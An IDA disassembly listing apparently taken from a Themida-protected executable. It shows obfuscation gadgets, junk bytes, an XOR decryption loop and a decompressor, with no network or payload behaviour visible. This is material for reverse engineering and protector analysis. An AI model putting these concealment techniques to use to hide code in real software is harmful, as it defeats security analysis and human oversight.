		db 26h,	35h, 0FCh
; ---------------------------------------------------------------------------
		or	[ebx], ah
		aas
		mov	dword ptr [eax+3360DDD6h], 140B9DB5h
		push	es
		popa
		mov	eax, 0
		xor	edx, 512E5C5Bh
		sub	edx, [ebp+6142B0Dh]
		cmp	eax, 0
		jz	loc_54FE34
		mov	ebx, [ebp+6142ADDh]
		cmp	eax, 2
		jnz	loc_54FE04
		push	0
		push	edx
		call	sub_54FDAB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FDAB	proc near		; CODE XREF: Themida_:0054FDA3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_54FDAB	endp

; ---------------------------------------------------------------------------
		db 36h
		dd 6672DE6Eh, 0B331EB81h, 32099503h, 858D0614h,	614439Ah
		dd 292D95B3h, 8B000009h, 14061995h, 0D88B9006h,	8E950h
		dd 0F1630000h, 456AE418h, 89903E8Eh, 14141D9Dh,	8960C306h
		dd 1416718Dh, 1D858906h, 6106142Fh
; ---------------------------------------------------------------------------


loc_54FE04:				; CODE XREF: Themida_:0054FD9Aj
		mov	eax, 0
		mov	ebx, esi
		jmp	loc_550037
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_54FE1B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FE1B	proc near		; CODE XREF: Themida_:0054FE13p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_54FE1B	endp

; ---------------------------------------------------------------------------
		sub	eax, 0B6308C60h
		jns	short loc_54FE98
		mov	edx, esi


loc_54FE34:				; CODE XREF: Themida_:0054FD8Bj
		mov	eax, 1
		call	sub_54FE51
		push	ecx
		out	dx, eax
		add	[edi+1076E5D4h], ecx
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54FE51


loc_54FE47:				; CODE XREF: sub_54FE51+1Aj
		sub	[ecx], dl
		mov	cl, dh
		aaa
		inc	esi
		or	al, 8Ch
		cmp	al, 7Fh
; END OF FUNCTION CHUNK	FOR sub_54FE51

; =============== S U B	R O U T	I N E =======================================



sub_54FE51	proc near		; CODE XREF: Themida_:0054FE39p

; FUNCTION CHUNK AT 0054FE47 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0054FE7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054FF4B SIZE 0000000C BYTES

		mov	bl, 0B5h
		pop	ebx
		mov	bx, 1876h	; CODE XREF: sub_54FE51+23j
		lea	edi, [ebp+614439Fh]
		jz	loc_54FE7D
		call	near ptr loc_54FE78+2
		sub	al, 0D1h
		jg	short loc_54FE47
		xchg	eax, ebx
		std
		add	eax, 0FE51BFFFh
		jg	short near ptr loc_54FE54+3
		out	0C0h, al	; DMA controller, 8237A-5.
					; channel 0 base address
					; (also	sets current address)


loc_54FE78:				; CODE XREF: sub_54FE51+13p
		mov	ds:5BFE8AA4h, al
sub_54FE51	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_54FE51


loc_54FE7D:				; CODE XREF: sub_54FE51+Dj
		jmp	loc_54FF4B
; END OF FUNCTION CHUNK	FOR sub_54FE51
; ---------------------------------------------------------------------------
		dw 0B70Fh
		dd 2F883D8h, 2C850Fh, 0B5890000h, 6142E0Dh, 4597BD8Dh
; ---------------------------------------------------------------------------


loc_54FE98:				; CODE XREF: Themida_:0054FE30j
		adc	al, 6
		movsx	edx, bx
		jmp	loc_54FF4B
; ---------------------------------------------------------------------------
		jmp	loc_54FEBA
; ---------------------------------------------------------------------------
		db 0E6h
		dd 265A7117h, 0E979907Eh, 2EE4CC7Bh, 0C681F244h
; ---------------------------------------------------------------------------
		aad	9Ah


loc_54FEBA:				; CODE XREF: Themida_:0054FEA2j
		cmp	eax, 3
		jnz	loc_54FEFB
		movzx	ebx, cx
		mov	ebx, edi
		lea	edi, [ebp+614472Bh]
		push	0
		push	esi
		call	sub_54FED9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FED9	proc near		; CODE XREF: Themida_:0054FED1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_54FED9	endp

; ---------------------------------------------------------------------------
		db 94h,	87h, 72h
		dd 10931FA3h, 56E9h, 0D5853100h
; ---------------------------------------------------------------------------
		add	dl, [esi+eax]


loc_54FEFB:				; CODE XREF: Themida_:0054FEBDj
		cmp	eax, 5
		jnz	loc_54FF4B
		push	0
		push	esi
		call	sub_54FF0F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FF0F	proc near		; CODE XREF: Themida_:0054FF07p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_54FF0F	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 0F45C7F43h, 0C406E464h, 79950BC4h, 8B061410h, 14092D9Dh
		dd 8EE906h, 9E80000h, 0B9000000h, 28F4F0CDh, 1DF3A737h
; ---------------------------------------------------------------------------
		mov	edx, ebx
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_54FE51


loc_54FF4B:				; CODE XREF: sub_54FE51:loc_54FE7Dj
					; Themida_:0054FE9Dj ...
		push	edi
		push	0
		push	ecx
		call	sub_54FF57
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_54FE51

; =============== S U B	R O U T	I N E =======================================



sub_54FF57	proc near		; CODE XREF: sub_54FE51+FEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_54FF57	endp

; ---------------------------------------------------------------------------
		db 0E8h
		dd 2A75BDF2h, 6E3A9AB5h, 0ECA805Ah, 0F6FD85B9h,	87C6800Fh
		dd 0F003F83h, 4384h, 59958B00h,	3006142Ah, 12E80Fh, 7E550000h
		dd 0D7550CC5h, 0CEBFF64Ch, 4DBB4128h, 9122A4B9h, 0C9D15AF5h
		dd 0D58D8B60h, 89061405h, 14005595h, 89476106h,	140D758Dh
		dd 0FFBAE906h, 8589FFFFh, 61429A9h, 0F05F883h, 6685h, 0B0EE8000h
		dd 0B3D98C66h, 4C1F6E3h, 45850Fh, 9D890000h, 6142561h
		dd 0B8h, 59F28100h, 0E95EB8E6h,	3Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 58C35747h, 0EFB658Ah, 8E93166h
		dd 0D7000000h, 0B87DF66Ah, 8BD07D9Eh, 14057185h, 0FFD5B606h
		dd 859D29E0h
; ---------------------------------------------------------------------------
		and	[esi+eax], edx


loc_550037:				; CODE XREF: Themida_:0054FD42j
					; Themida_:0054FE0Bj
		cmp	dword ptr [ebp+6142EF9h], 0
		jnz	loc_55010B
		push	0
		push	eax
		call	sub_55004F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55004F	proc near		; CODE XREF: Themida_:00550047p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_55004F	endp

; ---------------------------------------------------------------------------
		push	ecx
		sub	al, 0B4h
		popf
		nop
		mov	edx, 1E93D414h
		push	eax
		push	ecx
		push	esi
		mov	edx, 4280A555h
		pop	ebx
		pop	ebx
		nop
		jmp	loc_550084
; ---------------------------------------------------------------------------
		db 0B9h, 1Fh, 69h
		dd 0FE9656C7h, 8A27AF56h
; ---------------------------------------------------------------------------


loc_550084:				; CODE XREF: Themida_:00550074j
		mov	byte ptr [ebp+6141A59h], 45h
		mov	bx, 6331h
		push	8BCE830Ch
		push	eax
		jb	loc_55009D
		push	edi
		pop	edx


loc_55009D:				; CODE XREF: Themida_:00550095j
		pop	ebx
		add	dword ptr [esp], 2A3E65Dh
		mov	dl, 0A6h
		push	dword ptr [ebp+6141145h]
		and	edx, 6E762D50h
		lea	eax, [ebp+6143B13h]
		stc
		call	eax
		push	0
		push	edi
		call	sub_5500C7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5500C7	proc near		; CODE XREF: Themida_:005500BFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5500C7	endp

; ---------------------------------------------------------------------------
		ror	byte ptr [ecx+142EF985h], 1
		push	es
		pusha
		mov	eax, [ebp+6142115h]
		popa
		pop	eax
		push	0
		push	edx
		call	sub_5500F2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5500F2	proc near		; CODE XREF: Themida_:005500EAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5500F2	endp

; ---------------------------------------------------------------------------
		dw 2B74h
		dd 0A99D318Eh
; ---------------------------------------------------------------------------
		adc	al, 14h
		push	es


loc_55010B:				; CODE XREF: Themida_:0055003Ej
		cmp	dword ptr [ebp+6144D6Eh], 0
		jz	loc_550156
		push	0
		push	ecx
		call	sub_550123
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550123	proc near		; CODE XREF: Themida_:0055011Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_550123	endp

; ---------------------------------------------------------------------------
		db 7Ah
; ---------------------------------------------------------------------------
		cmp	[edx-4A000307h], edi
		sbb	[edx], esi
		adc	al, 6
		mov	[ebp+6140105h],	esi
		or	[ebp+61414A1h],	edi
		call	dword ptr [ebp+6142EF9h]
		mov	[ebp+6140D69h],	edx


loc_550156:				; CODE XREF: Themida_:00550112j
		cmp	eax, 0
		jnz	loc_550260
		push	0
		push	esi
		call	sub_55016A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55016A	proc near		; CODE XREF: Themida_:00550162p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_55016A	endp

; ---------------------------------------------------------------------------
		dw 4641h
		dd 0A437AFE6h, 0DE97C10h, 83000000h, 9D807870h,	0C4C9E7DEh
		dd 3B8C8C1h, 226D9D89h,	0BD830614h, 6141A99h, 53840F00h
		dd 0B3000000h, 99B5FFC4h, 0F806141Ah, 1B8h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 2FAE5055h, 0CE8h, 17DC1E00h,	2732A817h, 0DFF1A057h
		dd 0D19D8BC7h, 5A061416h, 1111B589h, 0A2E90614h, 0F000001h
		dd 0B5FFDBB7h, 6143219h, 19810Fh, 14E90000h, 0FC000000h
		dd 29C9C20Ah, 619D3521h, 0AF052D4Ah, 6FF67C1Ch,	0FF294E6Fh
		dd 143219B5h, 0E98D0106h, 0FF061401h, 142EF9B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0BDDA4904h, 8A79EE2Dh, 13FE9D4h, 9D330000h, 61420F1h
; ---------------------------------------------------------------------------


loc_550260:				; CODE XREF: Themida_:00550159j
		pop	edi
		mov	dx, bx
		cmp	dword ptr [ebp+61402C1h], 0
		jnz	loc_5502FD
		mov	edx, [ebp+6141A21h]
		mov	byte ptr [ebp+6141A59h], 4Dh
		push	edi
		pusha
		mov	bx, 3C6Eh
		mov	eax, edx
		popa
		pop	ebx
		push	9321A960h
		mov	dh, ah
		add	dword ptr [esp], 1113CD48h
		sub	[ebp+6140665h],	edi
		push	dword ptr [ebp+6140931h]
		jmp	loc_5502B6
; ---------------------------------------------------------------------------
		db 6Ch
		dd 9B350F7Fh, 0B004CD05h, 60EA781Ah
		db 0E3h, 0A2h
; ---------------------------------------------------------------------------


loc_5502B6:				; CODE XREF: Themida_:005502A2j
		lea	eax, [ebp+6143B13h]
		mov	dh, 86h
		call	eax
		push	0
		push	eax
		call	sub_5502CB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5502CB	proc near		; CODE XREF: Themida_:005502C3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5502CB	endp

; ---------------------------------------------------------------------------
		icebp
		mov	ebx, [ebp+6142ACDh]
		jmp	loc_5502EE
; ---------------------------------------------------------------------------
		push	ecx
		fisttp	dword ptr [ecx]
		push	cs
		les	ecx, [edx+ecx*4]


loc_5502EE:				; CODE XREF: Themida_:005502E2j
		mov	[ebp+61402C1h],	eax
		mov	[ebp+61422F9h],	edx
		xor	bh, 5Bh


loc_5502FD:				; CODE XREF: Themida_:0055026Bj
		mov	eax, 0
		mov	ebx, 2BFF74ACh
		mov	[ebp+6144D17h],	edi
		mov	edx, [ebp+6140055h]
		mov	bh, 9Bh
		or	eax, eax
		jz	loc_55034D
		push	0
		push	edi
		call	sub_550328
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550328	proc near		; CODE XREF: Themida_:00550320p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_550328	endp

; ---------------------------------------------------------------------------
		mov	bh, 77h
		jmp	loc_550399
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+61400F5h],	ecx
		mov	esi, [ebp+614022Dh]
		popa


loc_55034D:				; CODE XREF: Themida_:00550317j
		push	dword ptr [ebp+6142EF9h]
		push	0
		push	ecx
		call	sub_55035E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55035E	proc near		; CODE XREF: Themida_:00550356p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_55035E	endp

; ---------------------------------------------------------------------------
		fcom	qword ptr [edi+3Fh]
		jl	loc_55037C
		mov	edx, 41412E2Ah


loc_55037C:				; CODE XREF: Themida_:00550371j
		or	edx, [ebp+61400FDh]
		lea	eax, [ebp+616A99Ah]
		adc	dh, 77h
		nop
		mov	dx, di
		push	eax
		mov	dx, 0E420h
		nop
		mov	dx, 7739h


loc_550399:				; CODE XREF: Themida_:0055033Aj
		push	eax
		push	esi
		lea	edi, [ebp+61453FBh]
		lea	ecx, [ebp+61477CFh]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_5503AE:				; CODE XREF: Themida_:005503B4j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_5503AE
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+6141A99h], 0
		jz	short loc_5503C7
		mov	ecx, [ebp+61423C1h]


loc_5503C7:				; CODE XREF: Themida_:005503BFj
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_55047E
		cmp	dword ptr [ebp+6141A71h], 0
		jz	short loc_5503E5
		call	dword ptr [ebp+6141DA9h]


loc_5503E5:				; CODE XREF: Themida_:005503DDj
		mov	eax, 0
		or	eax, eax
		jnz	short loc_5503F7
		cmp	dword ptr [ebp+6144D1Fh], 1
		jz	short loc_550400


loc_5503F7:				; CODE XREF: Themida_:005503ECj
		cmp	dword ptr [ebp+6144D1Fh], 2
		jnz	short loc_55040E


loc_550400:				; CODE XREF: Themida_:005503F5j
		mov	esi, [ebp+6144D17h]
		lea	eax, [ebp+616A99Ah]
		call	eax


loc_55040E:				; CODE XREF: Themida_:005503FEj
		cmp	dword ptr [ebp+6142B95h], 0
		jz	short loc_55041D
		call	dword ptr [ebp+6140911h]


loc_55041D:				; CODE XREF: Themida_:00550415j
		lea	eax, [ebp+614432Bh]
		call	eax
		cmp	dword ptr [ebp+6141D51h], 2
		jnz	short loc_55045D
		mov	esp, [ebp+6143505h]
		mov	eax, [ebp+6141A99h]
		mov	[esp], eax
		mov	dword ptr [ebp+6143495h], 1
		mov	esi, [ebp+6144D1Bh]
		mov	ebp, [ebp+6142E29h]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_55045D:				; CODE XREF: Themida_:0055042Cj
		mov	dword ptr [ebp+6143495h], 1
		mov	esp, [ebp+6143505h]
		mov	esi, [ebp+6142679h]
		mov	ebp, [ebp+6142E29h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_55047E:				; CODE XREF: Themida_:005503D0j
		cmp	dword ptr [ebp+6142B95h], 0
		jz	short loc_550496
		cmp	dword ptr [ebp+6140911h], 0
		jz	short loc_550496
		call	dword ptr [ebp+6140911h]


loc_550496:				; CODE XREF: Themida_:00550485j
					; Themida_:0055048Ej
		mov	esi, [ebp+6144D17h]
		retn
; ---------------------------------------------------------------------------
		and	edx, 2F2DDF6Ch
		mov	edx, esi
		sub	edx, edx
		mov	[ebp+61401BDh],	ebx
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5504BD
; ---------------------------------------------------------------------------


loc_5504BB:				; CODE XREF: Themida_:005504C0j
		inc	eax
		inc	edi


loc_5504BD:				; CODE XREF: Themida_:005504B9j
		cmp	byte ptr [edi],	0
		jnz	short loc_5504BB
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5504EC
; ---------------------------------------------------------------------------


loc_5504C9:				; CODE XREF: Themida_:005504EEj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5504E1
; ---------------------------------------------------------------------------


loc_5504DE:				; CODE XREF: Themida_:005504E4j
		mul	ebx
		dec	esi


loc_5504E1:				; CODE XREF: Themida_:005504DCj
		cmp	esi, 0
		ja	short loc_5504DE
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5504EC:				; CODE XREF: Themida_:005504C7j
		or	eax, eax
		jnz	short loc_5504C9
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_550505
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550505	proc near		; CODE XREF: Themida_:005504FDp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_550505	endp

; ---------------------------------------------------------------------------
		db 54h,	58h, 88h
		dd 0F39ED65Eh, 0B589974Ah, 6142B55h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0E0C35545h,	256C08BFh, 378F7A84h
		dd 0DE904h, 0B0060000h,	0D980D4ACh, 8E0C88E6h, 812D39E7h
		dd 0B066FFDBh
		db 7Fh
; ---------------------------------------------------------------------------


loc_550561:				; CODE XREF: Themida_:loc_54D951j
		mov	eax, ecx
		jmp	loc_550715
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h


loc_550574:				; CODE XREF: Themida_:loc_55058Cj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_55057F:				; CODE XREF: Themida_:0055060Aj
					; Themida_:00550672j ...
		add	dl, dl
		jnz	loc_55058C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_55058C:				; CODE XREF: Themida_:00550581j
		jnb	loc_550574
		add	dl, dl
		jnz	loc_55059F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_55059F:				; CODE XREF: Themida_:00550594j
		jnb	loc_55060F
		xor	eax, eax
		add	dl, dl
		jnz	loc_5505B4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5505B4:				; CODE XREF: Themida_:005505A9j
		jnb	loc_5506E4
		add	dl, dl
		jnz	loc_5505C7
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5505C7:				; CODE XREF: Themida_:005505BCj
		adc	eax, eax
		add	dl, dl
		jnz	loc_5505D6
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5505D6:				; CODE XREF: Themida_:005505CBj
		adc	eax, eax
		add	dl, dl
		jnz	loc_5505E5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5505E5:				; CODE XREF: Themida_:005505DAj
		adc	eax, eax
		add	dl, dl
		jnz	loc_5505F4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5505F4:				; CODE XREF: Themida_:005505E9j
		adc	eax, eax
		jz	loc_550602
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_550602:				; CODE XREF: Themida_:005505F6j
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_55057F
; ---------------------------------------------------------------------------


loc_55060F:				; CODE XREF: Themida_:loc_55059Fj
		mov	eax, 1


loc_550614:				; CODE XREF: Themida_:loc_550630j
		add	dl, dl
		jnz	loc_550621
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_550621:				; CODE XREF: Themida_:00550616j
		adc	eax, eax
		add	dl, dl
		jnz	loc_550630
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_550630:				; CODE XREF: Themida_:00550625j
		jb	loc_550614
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_550677
		mov	ecx, 1


loc_550648:				; CODE XREF: Themida_:loc_550664j
		add	dl, dl
		jnz	loc_550655
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_550655:				; CODE XREF: Themida_:0055064Aj
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_550664
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_550664:				; CODE XREF: Themida_:00550659j
		jb	loc_550648
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_55057F
; ---------------------------------------------------------------------------


loc_550677:				; CODE XREF: Themida_:0055063Dj
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_550685:				; CODE XREF: Themida_:loc_5506A1j
		add	dl, dl
		jnz	loc_550692
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_550692:				; CODE XREF: Themida_:00550687j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_5506A1
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5506A1:				; CODE XREF: Themida_:00550696j
		jb	loc_550685
		cmp	eax, 7D00h
		jnb	loc_5506D4
		cmp	eax, 500h
		jb	loc_5506CB
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_55057F
; ---------------------------------------------------------------------------


loc_5506CB:				; CODE XREF: Themida_:005506B7j
		cmp	eax, 7Fh
		ja	loc_5506D7


loc_5506D4:				; CODE XREF: Themida_:005506ACj
		add	ecx, 2


loc_5506D7:				; CODE XREF: Themida_:005506CEj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_55057F
; ---------------------------------------------------------------------------


loc_5506E4:				; CODE XREF: Themida_:loc_5505B4j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_550709
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_55057F
; ---------------------------------------------------------------------------


loc_550709:				; CODE XREF: Themida_:005506ECj
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_550715:				; CODE XREF: Themida_:00550563j
		mov	edx, 929h
		jmp	loc_572B54
; ---------------------------------------------------------------------------
		db 3Fh
		dd 6F025C00h, 28005C6Fh, 6F025C00h, 0BE005C6Fh,	5C54h
		dd 6C000000h, 20012FFh,	2000002h, 1000000h, 3000000h, 0DF000000h
		dd 0FA408Bh, 4 dup(0)
		dd 10000000h, 4C005531h, 17005595h, 5500551Fh, 4000552Eh
		dd 1B005588h, 0B5005598h, 0E4005594h, 15005527h, 3100554Ah
		dd 3A005556h, 0C200559Ah, 4D0055AFh, 0D0005527h, 2F0055CDh
		dd 88005528h, 3A005512h, 10055A5h, 1A005511h, 5700556Bh
		dd 700556Bh, 520055C3h,	2300557Dh, 0D1005585h, 0E005582h
		dd 2F00557Dh, 0FE005581h, 0CA005567h, 0EF0055C8h, 0D8005524h
		dd 0A20055CEh, 5300550Eh, 0E4005573h, 130055C9h, 38005585h
		dd 3005583h, 560055B6h,	9500551Eh, 4900558Dh, 2D0055AFh
		dd 9A00559Ah, 0FE0055ACh, 1200558Dh, 0EC0055A2h, 1400552Fh
		dd 0BB005542h, 0DC005538h, 1A0055A1h, 96005583h, 0C1005522h
		dd 600055BFh, 540055CBh, 98005513h, 2000555Ah, 0E8005559h
		dd 0F2005510h, 0EC005597h, 88005597h, 0B000553Bh, 6200558Dh
		dd 800055A0h, 26005577h, 0FB005572h, 0A60055B4h, 3E005589h
		dd 1B005581h, 4F005527h, 5F00558Fh, 0EE00550Dh,	7200559Fh
		dd 8900552Ah, 0AF0055B5h, 1D00550Bh, 5B005547h,	99005597h
		dd 0EC005511h, 0A7005582h, 15005552h, 9F005563h, 8005551h
		dd 4D0055B9h, 490055CEh, 4C00551Ah, 28005585h, 0CB00558Eh
		dd 0F5005547h, 0D1005525h, 0BD00553Bh, 0C00055AEh, 1F005558h
		dd 49005545h, 7C005578h, 0E60055C7h, 22005532h,	0D100552Ah
		dd 0D30055CAh, 5B005567h, 0D005529h, 820055B5h,	9000557Dh
		dd 160055AFh, 860055C3h, 0ED005590h, 0B005583h,	88005532h
		dd 0AE00557Bh, 1F00550Eh, 1E0055CFh, 4300554Eh,	8B00559Bh
		dd 900553Ah, 3500556Dh,	37005510h, 6700556Bh, 600556Ch
		dd 0C5005554h, 0CD005559h, 900055A7h, 0FE005512h, 0F70055A2h
		dd 24005530h, 99005580h, 420055CEh, 9500553Dh, 9005574h
		dd 200055A4h, 380055AFh, 44005592h, 4B005510h, 0E20055CBh
		dd 0E4005554h, 9C005534h, 0AB00550Ah, 4B00557Ch, 94005515h
		dd 22005535h, 0FA005535h, 8F005553h, 9B005568h,	0E1005548h
		dd 92005559h, 0D7005595h, 380055BEh, 2900556Ah,	1E005576h
		dd 98005540h, 0DB00557Bh, 0B900557Dh, 180055AFh, 53005571h
		dd 0B2005584h, 0E0055C0h, 8A0055CEh, 82005562h,	7B005555h
		dd 7B005579h, 38005517h, 76005598h, 340055C9h, 54005595h
		dd 0AD0055CBh, 0F5005597h, 60005587h, 6700557Fh, 0D400558Eh
		dd 64005540h, 40005586h
		db 90h
		db 55h,	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF4AE


loc_5509FF:				; CODE XREF: Themida_:00572BB9j
					; Themida_:00572BC3j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6147E28h
		mov	eax, edi
		add	edi, 6147B40h
		cmp	eax, [edi+2Ch]
		jnz	short loc_550A1D
		jmp	short loc_550A30
; ---------------------------------------------------------------------------


loc_550A1D:				; CODE XREF: sub_5AF4AE-5EA95j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_550A2C
; ---------------------------------------------------------------------------


loc_550A27:				; CODE XREF: sub_5AF4AE-5EA80j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_550A2C:				; CODE XREF: sub_5AF4AE-5EA89j
		or	ecx, ecx
		jnz	short loc_550A27


loc_550A30:				; CODE XREF: sub_5AF4AE-5EA93j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_550A3D:				; CODE XREF: sub_5AF4AE-5EA6Aj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_550A3D


loc_550A46:				; CODE XREF: Themida_:00550A9Ej
					; sub_556A70-5F62j ...
		lodsb
		push	bx
		mov	bh, 60h
		sub	al, bh
		jmp	loc_559D10
; END OF FUNCTION CHUNK	FOR sub_5AF4AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_550A52:				; CODE XREF: sub_5584F8+2DDAj
		pop	eax
		jmp	loc_556457
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550A58:				; CODE XREF: sub_556A70+633Dj
		and	dh, 0A5h
		xor	dh, 0A9h
		push	281Fh
		mov	[esp+4+var_4], ecx
		push	small 5E17h
		mov	word ptr [esp+6+var_8+2], dx
		mov	dl, 0C6h
		jmp	loc_5537A2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_550A75:				; CODE XREF: Themida_:0055B3FEj
		mov	ch, dl
		pop	edx
		dec	ch
		jmp	loc_5583DF
; ---------------------------------------------------------------------------


loc_550A7F:				; CODE XREF: Themida_:005549CEj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_55272C
; ---------------------------------------------------------------------------


